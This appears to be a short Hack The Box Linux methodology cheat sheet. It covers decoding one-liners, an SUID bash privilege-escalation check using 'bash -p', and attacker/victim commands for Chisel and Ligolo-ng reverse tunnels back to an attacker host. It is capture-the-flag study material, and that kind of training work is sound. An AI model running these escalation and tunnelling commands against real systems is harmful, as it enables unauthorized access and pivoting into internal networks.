python3 -c "from urllib.parse import unquote; print(unquote('URL_STRING'))"
# ROT13
echo "STRING" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# Hex decode
echo "48656c6c6f" | xxd -r -p
# Get file type
file suspicious_file
# Check SUID bash
ls -la /bin/bash # should be -rwxr-xr-x
bash -p # if SUID set
# Chisel tunneling
# Attacker:
./chisel server -p 8001 --reverse
# Victim:
./chisel client $LHOST:8001 R:127.0.0.1:8080:127.0.0.1:8080
# Ligolo-ng tunneling
# Attacker:
./proxy -selfcert -laddr 0.0.0.0:11601
# Victim:
./agent -connect $LHOST:11601 -ignore-cert
🔒 Built for HTB by J0stif | Hack The Box Linux Methodology Use responsibly on authorized systems only.